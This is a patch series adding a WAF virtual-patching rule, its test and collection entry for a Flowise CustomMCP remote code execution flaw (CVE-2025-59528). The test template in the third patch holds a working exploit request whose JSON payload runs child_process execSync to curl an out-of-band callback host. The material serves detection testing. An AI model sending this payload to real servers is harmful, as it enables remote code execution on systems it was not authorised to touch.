From 38b677d7f02ac5c18176afaabf1724a4179284ac Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 17 Jun 2026 12:34:08 +0200
Subject: [PATCH 1/5] Add vpatch-CVE-2025-59528 rule

---
 .../crowdsecurity/vpatch-CVE-2025-59528.yaml  | 34 +++++++++++++++++++
 1 file changed, 34 insertions(+)
 create mode 100644 appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml

diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
new file mode 100644
index 00000000000..43e2c90d982
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
@@ -0,0 +1,34 @@
+## autogenerated on 2026-06-17 10:34:05
+name: crowdsecurity/vpatch-CVE-2025-59528
+description: 'Detects Flowise CustomMCP node RCE via unsafe evaluation in convertToValidJSONString.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /api/v1/node-load-method/custommcp
+      - zones:
+          - BODY_ARGS
+        variables:
+          - json.inputs.mcpserverconfig
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: 'function()'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Flowise - RCE'
+  classification:
+    - cve.CVE-2025-59528
+    - attack.T1190
+    - cwe.CWE-94

From 0b010e465087bc883189f7cbf853435f905f1f09 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 17 Jun 2026 12:34:10 +0200
Subject: [PATCH 2/5] Add vpatch-CVE-2025-59528 test config

---
 .appsec-tests/vpatch-CVE-2025-59528/config.yaml | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2025-59528/config.yaml

diff --git a/.appsec-tests/vpatch-CVE-2025-59528/config.yaml b/.appsec-tests/vpatch-CVE-2025-59528/config.yaml
new file mode 100644
index 00000000000..5a1ed50e5f9
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2025-59528/config.yaml
@@ -0,0 +1,5 @@
+## autogenerated on 2026-06-17 10:34:05
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
+nuclei_template: CVE-2025-59528.yaml

From e47a22313a1a3dffd45f6897225165f3d67a43a3 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 17 Jun 2026 12:34:12 +0200
Subject: [PATCH 3/5] Add CVE-2025-59528.yaml test

---
 .../vpatch-CVE-2025-59528/CVE-2025-59528.yaml | 22 +++++++++++++++++++
 1 file changed, 22 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml

diff --git a/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml b/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml
new file mode 100644
index 00000000000..4d08c7d543a
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml
@@ -0,0 +1,22 @@
+## autogenerated on 2026-06-17 10:34:05
+id: CVE-2025-59528
+info:
+  name: CVE-2025-59528
+  author: crowdsec
+  severity: info
+  description: CVE-2025-59528 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /api/v1/node-load-method/customMCP HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        x-request-from: internal
+
+        {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

From 21e624917438444e556be08ed56a0f409162aafc Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Wed, 17 Jun 2026 12:34:14 +0200
Subject: [PATCH 4/5] Add vpatch-CVE-2025-59528 rule to vpatch collection

---
 collections/crowdsecurity/appsec-virtual-patching.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/collections/crowdsecurity/appsec-virtual-patching.yaml b/collections/crowdsecurity/appsec-virtual-patching.yaml
index c4f95a425d8..2e5b652e210 100644
--- a/collections/crowdsecurity/appsec-virtual-patching.yaml
+++ b/collections/crowdsecurity/appsec-virtual-patching.yaml
@@ -130,6 +130,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2022-31499
 - crowdsecurity/vpatch-CVE-2025-57819
 - crowdsecurity/vpatch-CVE-2018-1207
+- crowdsecurity/vpatch-CVE-2025-59528
 - crowdsecurity/vpatch-CVE-2024-46506
 - crowdsecurity/vpatch-CVE-2025-3605
 - crowdsecurity/vpatch-CVE-2024-29028

From 86c95fa2d21493e0f1cd09996bfab85310368d7e Mon Sep 17 00:00:00 2001
From: "Thibault \"bui\" Koechlin" <orixxx@gmail.com>
Date: Wed, 17 Jun 2026 15:14:10 +0200
Subject: [PATCH 5/5] Update vpatch-CVE-2025-59528.yaml

---
 appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
index 43e2c90d982..2a3719d2567 100644
--- a/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
@@ -19,7 +19,7 @@ rules:
           - urldecode
         match:
           type: contains
-          value: 'function()'
+          value: 'function('
 
 labels:
   type: exploit